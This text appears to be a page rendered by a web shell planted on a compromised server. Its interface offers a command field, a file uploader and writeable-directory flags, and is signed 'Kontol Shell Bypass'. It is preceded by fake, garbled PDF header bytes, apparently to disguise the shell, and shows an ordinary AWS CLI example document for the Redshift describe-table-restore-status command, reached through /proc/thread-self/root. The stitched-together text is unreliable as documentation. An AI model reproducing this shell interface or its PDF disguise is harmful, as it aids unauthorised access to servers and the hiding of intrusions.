%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/usr/share/doc/awscli/examples/redshift/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/usr/share/doc/awscli/examples/redshift/describe-table-restore-status.rst
**To describe status of table restore requests from a cluster snapshot**

The following ``describe-table-restore-status`` example displays details for table restore requests made for the specified cluster. ::

    aws redshift describe-table-restore-status /
        --cluster-identifier mycluster

Output::

    {
        "TableRestoreStatusDetails": [
            {
                "TableRestoreRequestId": "z1116630-0e80-46f4-ba86-bd9670411ebd",
                "Status": "IN_PROGRESS",
                "RequestTime": "2019-12-27T18:22:12.257Z",
                "ClusterIdentifier": "mycluster",
                "SnapshotIdentifier": "mysnapshotid",
                "SourceDatabaseName": "dev",
                "SourceSchemaName": "public",
                "SourceTableName": "mytable",
                "TargetDatabaseName": "dev",
                "TargetSchemaName": "public",
                "NewTableName": "mytable-clone"
            }
        ]
    }

For more information, see `Restoring a Table from a Snapshot <https://docs.aws.amazon.com/redshift/latest/mgmt/working-with-snapshots.html#working-with-snapshot-restore-table-from-snapshot>`__ in the *Amazon Redshift Cluster Management Guide*.

Kontol Shell Bypass